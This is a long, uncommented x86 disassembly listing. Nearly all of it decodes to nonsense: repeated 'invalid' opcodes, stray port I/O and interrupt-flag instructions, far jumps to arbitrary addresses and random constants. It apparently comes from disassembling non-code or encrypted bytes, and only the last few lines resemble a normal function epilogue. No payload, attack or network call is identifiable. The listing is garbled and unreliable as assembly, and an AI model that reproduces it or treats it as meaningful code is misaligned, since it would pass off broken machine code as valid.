lea eax, [ecx - 0x36]
fstp dword [eax]
dec edx
jp 0x67bba1d6
xor al, 0xbb
mov ecx, ds
jae 0x67bba1cc
pushfd
invalid
scasd eax, dword es:[edi]
scasd eax, dword es:[edi]
and al, 0x83
or bh, byte [ecx + 0x73]
adc al, byte [edi + edi]
in eax, dx
pushal
retf 0x4bd9
jge 0x67bba1ea
pop eax
inc esi
add ah, dl
and byte [esi + 0x14], dh
in eax, 0x52
nop
int3
mov ebx, 0x6cb65e5d
aaa
jns 0x67bba1c9
and dword [eax - 0x3a5201f7], ebp
adc ebx, eax
salc
jno 0x67bba1a2
cdq
js 0x67bba201
or eax, 0xf5e9c818
into
xchg ebp, eax
into
cmp edx, dword [ebx]
sbb eax, 0x2d6806b8
aas
inc eax
jge 0x67bba20a
imul esp, dword [ecx - 0x82a43aa], 0xffffff81
inc ebx
push esi
mov esp, 0x4381f7d5
retf
cmpsd dword [esi], dword es:[edi]
pop ecx
xchg esp, ecx
invalid
lodsb al, byte [esi]
xchg ebp, eax
ficomp word [ebx]
pop esi
ja 0x67bba745
outsd dx, dword [esi]
popal
adc al, 0xeb
xor al, 0x57
push edi
les edi, [eax + ecx*2 + 0x3f]
jae 0x67bba76f
outsd dx, dword [esi]
test al, 0xf6
mov bl, 0
inc ecx
pop ss
cmp dl, ah
jg 0x67bba6fb
push 0x7d
sbb al, 0xbf
inc edi
sub dl, 0xe9
lcall 0x7e7a, 0xfe2498d6
jo 0x67bba789
xor byte [eax], bh
wait
in al, dx
and al, 0x7a
or esi, ebx
pop ecx
mov al, byte [0xa52a6d1d]
adc esp, dword [eax]
inc esi
ret
pushal
xor dword [si], ebx
add eax, 0x7a55e0de
pop ecx
ret
xchg ecx, ecx
wait
pop edi
adc al, 0xd2
test byte [esi - 0x273e83b4], ah
daa
salc
pushfd
int1
inc eax
rcl byte [edx]
mov dword [0x5e19247a], eax
push eax
and esi, dword [esi - 0x371bd18d]
mov byte [ebx + 0x1d], bh
sub byte [esi + ebp], 0x7d
mov ah, 0x67
or eax, 0x3746012b
xchg edi, eax
mov al, byte [0x3ceb46b2]
ficomp word [edi]
xor dword [edi - 0x5f], esi
aaa
outsd dx, dword [esi]
clc
ret 0x74f0
pop edi
mov eax, dword [0x7ac7d5f3]
shr byte [esi + 0x2afa6b6e], 0x3a
inc ecx
inc edi
mov cl, 0x6f
or al, 0xcc
inc edi
or dword [ecx + 0x41], edx
sar dword [eax], 1
fistp qword [edi + ebx*8]
jbe 0x67bbac3a
sar byte [edx - 0x2f], 1
daa
mov byte [0xf4e5d702], al
jnp 0x67bbaca1
add eax, 0x93228fd
dec esi
push ecx
push edi
adc dl, cl
insb byte es:[edi], dx
dec ecx
mov eax, dword [0x8ff95b3f]
nop
pop ecx
xor ebx, dword [edi + 6]
inc ecx
pop ss
xor edi, dword [edi - 0x5989c2fe]
push eax
stosb byte es:[edi], al
mov ah, 0xae
mov byte [0x9bedeff8], al
jnp 0x67bbac93
popfd
imul eax, edi, 0x986a8f94
or dl, byte [eax + 0x7ce7e9cc]
or byte [edi - 0x2e2d6a1], 0x5c
xchg dword [ecx + ebp*8 - 0x5d], esp
xor al, 0x97
pop ss
movsd dword es:[edi], dword [esi]
pop ss
jae 0x67bbac0b
sub esi, esi
pushfd
push 0x28b03332
aam 0xcb
aad 0xa8
jl 0x67bbacd2
insd dword es:[edi], dx
or eax, 0x14de63f1
and esp, dword [ebx]
jle 0x67bbacb1
and edi, dword [esi + 0x1b]
and byte [ebx + ebp*4], 0x48
fist dword [ecx - 0x1a]
sti
add dword [esi - 0x4ce5a37], edi
movsd dword es:[edi], dword [esi]
xor ebx, edi
pop edi
mov ch, 0x57
push ds
in eax, dx
or cl, byte [edx + 0x71]
test byte [edi], al
cli
cmp edx, eax
or eax, 0x9f276b20
xchg edx, eax
invalid
loope 0x67bbac78
retf 0x39b7
int3
sbb al, 0x80
jl 0x67bbb2ab
mov ebp, 0x720138c
ljmp 0x41cb
push edi
scasb al, byte es:[edi]
and byte [ebp - 0x7528db85], cl
cmp edi, eax
dec edx
cmc
test dword [esp + edi*8 - 0x5d380850], edx
pop ss
xchg ebx, eax
cmc
fld qword [ebx]
jle 0x67bbb8bc
push es
cdq
cmp ebp, dword [esi]
invalid
in al, 0x27
cmp al, 0xb4
invalid
cmp bh, cl
imul eax, eax, 0xffffffda
push edi
in al, 0xb0
stosb byte es:[edi], al
imul edi, ecx, 0x291f912e
iretd
outsd dx, dword [esi]
nop
lds esi, [esi]
mov edx, 0x1d22832
cmp al, 0x25
nop
int3
xchg edx, eax
loope 0x67bbbe61
pop edx
test eax, 0x6dce68de
aad 0x59
adc byte [edi + 0x69c1458e], al
jg 0x67bbbe37
iretd
mov esi, 0xaad7b594
push ebp
cli
rcl byte [edx + 0xc], cl
test al, 0xdd
in al, dx
movsd dword es:[edi], dword es:[esi]
iretd
push 0xc8f83b1d
mov byte [edx + edx*4], ch
inc ebp
test dword [0x54994c78], edi
dec ebx
or eax, dword [edi]
in al, 0x20
sub eax, 0x38e62942
aas
push 0x45989042
jp 0x67bbca60
adc dword [esi - 0x8b6d9b8], esp
xchg dword [ebp + 0x50], edi
nop
in al, dx
clc
cdq
sbb al, 0x2e
shl byte [ebp - 0x6ab39336], cl
and dword [edx - 0x3c], ebp
fcmovne st(0), st(3)
cld
inc ebx
scasd eax, dword es:[edi]
add eax, 0x49ab743d
pop esi
mov al, byte [0xedf0a697]
pop ebx
popfd
inc edx
cmp byte [ecx - 0x4478824a], bh
mov esi, 0x63eefe04
xchg ecx, eax
test byte [edx], ah
movsb byte es:[edi], byte [esi]
mov eax, dword [0x3fd4b1ae]
pop ss
nop
int3
test eax, 0xa1ed7bec
fnstsw word [edx]
cmp esp, dword [esi - 0x1f2a56db]
nop
int3
dec edi
cmpsd dword ds:[esi], dword es:[edi]
pop es
adc ecx, dword [eax - 0x5f]
mov edi, 0xa59bce71
push eax
mov bh, 0xc7
pop esp
add eax, 0x2dea981e
sahf
push es
aam 0x76
arpl word [ebx], sp
xchg esp, eax
rol esi, 0xa6
cmp byte [ebx - 0x597bba2b], cl
push eax
jge 0x67bbcf9e
test byte [esi - 0x216c82b0], ah
dec ebx
int1
fimul word [ebx - 0xf]
pop esi
nop
int3
adc esp, ebx
dec eax
push ds
dec eax
push cs
sub byte [edi + 0x4ee83147], cl
idiv byte [esi - 0x39b3913a]
add ebx, dword [esi]
cmp al, al
sub byte [ebx - 0x12], ah
test dword [ebp - 0x3e], edx
pop edi
fnstsw word [ecx]
xchg ecx, eax
cmp eax, ebx
jno 0x67bbd066
cld
and dword [eax - 0x75], ebp
fistp qword [esi - 0x4d]
mov dl, 0x7b
jae 0x67bbcfe1
xchg esp, eax
cmp al, al
adc dh, bh
mov eax, dword [0x962a4eb6]
jle 0x67bbcfe9
sbb bh, byte [edx - 0x73fe5af0]
invalid
sti
push esp
mov esi, 0xd6ceeb6f
mov dl, 0x58
in eax, 0xb6
xor eax, 0x875901ec
je 0x67bbd006
nop
int3
xlatb
invalid
aad 0x5c
je 0x67bbd66d
add ah, ah
inc esp
das
and al, 0x72
cli
stosd dword es:[edi], eax
jbe 0x67bbd5be
xor al, 0x56
ror dword [ebx - 0x6e], 1
pop esp
jmp 0xb4797ebb
sub eax, 0x289a1d5d
pop ds
inc edi
cmp byte [edi + 0x11], cl
add byte [esi - 0x7161668], al
clc
stosb byte es:[edi], al
push ds
dec esi
jmp 0x67bbd6e4
jmp 0xb2cef876
or esp, esp
xchg ebx, eax
push edi
jle 0x67bbd65e
cmpsb byte [esi], byte es:[edi]
xchg ebx, eax
in al, 0xaa
add eax, 0xcac833b4
int 0x11
nop
int3
jnp 0x67bbd6ac
push ecx
sbb ch, byte [eax]
scasd eax, dword es:[edi]
inc esp
pop ss
out 0x80, al
mov dh, 0xe5
imul ecx, ebx, 0x7ff49a87
lodsb al, byte [esi]
jbe 0x67bbd69d
xchg byte [ebx + 0x75538f5e], bl
sbb al, 0xc
inc ebp
jne 0x67bbd71c
or al, 0x45
pop edi
into
pop edx
push edx
jecxz 0x67bbd6fe
jb 0x67bbd6be
retf
stosd dword es:[edi], eax
sti
mov esp, dword [ecx + edx - 0x75ae3370]
invalid
invalid
popfd
invalid
mov al, byte [0x85481509]
cmp dword [ebp - 0x52], eax
stosb byte es:[edi], al
jl 0x67bbe1a3
jae 0x67bbe166
fsub qword [esi - 0x70]
int3
jmp 0x67bbe1ac
jmp 0x7e368689
aas
cmc
xor byte [edx + 0x10f2cc60], ch
or eax, 0x92b7a894
ja 0x67bbe713
add al, 0xe0
cmc
jnp 0x67bbe803
or dh, byte [eax - 0x16336f57]
loop 0x67bbe79d
add byte [eax], al
adc ebx, dword [edx - 0x53]
pop eax
or dword [ebp + ebx*2 - 0x3c870304], ebp
cmc
pop esp
lodsd eax, dword [esi]
push ebx
test eax, 0xc95fba95
or ebp, dword [eax - 0x2af2cc05]
loope 0x67bbe832
add dword [ebp - 0x57], esp
movsd dword es:[edi], dword [esi]
pop ebx
mov bh, 0x7f
jb 0x67bbe82a
mov word [ebp - 0x63c3ec45], ss
pop es
mov bl, 0xdc
sub bl, dh
sahf
xchg esi, eax
add al, 0xd4
push cs
pop ss
sub dword [eax], edx
jge 0x67bbe77c
sbb esp, dword [ecx - 0x75fc945a]
outsb dx, byte [esi]
pop ebx
add dh, dh
and eax, 0xc8c9c986
mov esp, 0xafd49829
xor eax, 0x5b97db29
test al, 0x66
mov byte [0xa4f5c29e], al
push edi
vhaddpd xmm6, xmm1, xmmword [esi + 0x56]
lea edx, [eax + 0x1a4164cc]
xchg ebx, eax
fistp dword [0x321cf595]
sbb eax, 0x321cf595
invalid
xchg ecx, eax
lodsw ax, word [esi]
cli
sub byte [edi], al
popal
in al, 0x56
push esi
and eax, 0xab950d2c
mov byte [0xeaf3fe6d], al
cld
mov ch, 0x35
invalid
nop
jmp 0x67bbed7c
nop
mov eax, dword [ebp - 0x12c]
mov ebx, dword [ebp - 4]
leave
ret 8